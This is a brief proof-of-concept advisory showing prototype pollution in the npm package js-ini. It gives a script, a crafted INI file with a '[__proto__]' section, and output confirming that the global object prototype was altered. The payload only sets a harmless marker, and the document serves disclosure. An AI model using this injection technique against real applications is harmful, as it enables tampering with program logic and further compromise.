js-ini
is vulnerable to Prototype Pollution
.
// poc.js
var fs = require('fs')
var ini = require('js-ini')
console.log("Before : " + {}.polluted);
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log("After : " + {}.polluted);
//payload.ini
[__proto__]
polluted = "Yes! Its Polluted"
npm i js-ini # Install affected module
node poc.js # Run the PoC
Before : undefined
After : "Yes! Its Polluted"